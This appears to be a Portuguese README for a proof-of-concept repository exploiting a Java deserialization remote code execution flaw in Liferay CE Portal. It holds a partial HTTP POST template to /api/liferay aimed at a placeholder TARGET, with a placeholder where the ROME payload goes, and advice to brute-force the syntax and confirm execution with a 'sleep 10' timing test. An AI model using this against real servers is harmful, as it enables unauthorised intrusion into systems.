Liferay-CE-Portal-Java-Deserialization

Este repositório contém o PoC para a vulnerabilidade de execução remota de código do Liferay CE Portal!

Payloads

Já compartilhei payloads no repositório. Você deve encontrar a sintaxe correta por meio de força bruta. Os payloads que compartilho são para prova de conceito baseada em tempo (sleep 10). A aplicação pode nem sempre exibir a saída do comando. Por isso, você deve tentar o payload baseado em tempo ao fazer o PoC.

Prova de Conceito

• POST /api/liferay HTTP/1.1
• Host: TARGET
• User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0)
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9
• Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
• Accept-Encoding: gzip, deflate
• Connection: close

ROME-PAYLOAD-FILE

Exemplo de PoC (sleep 10)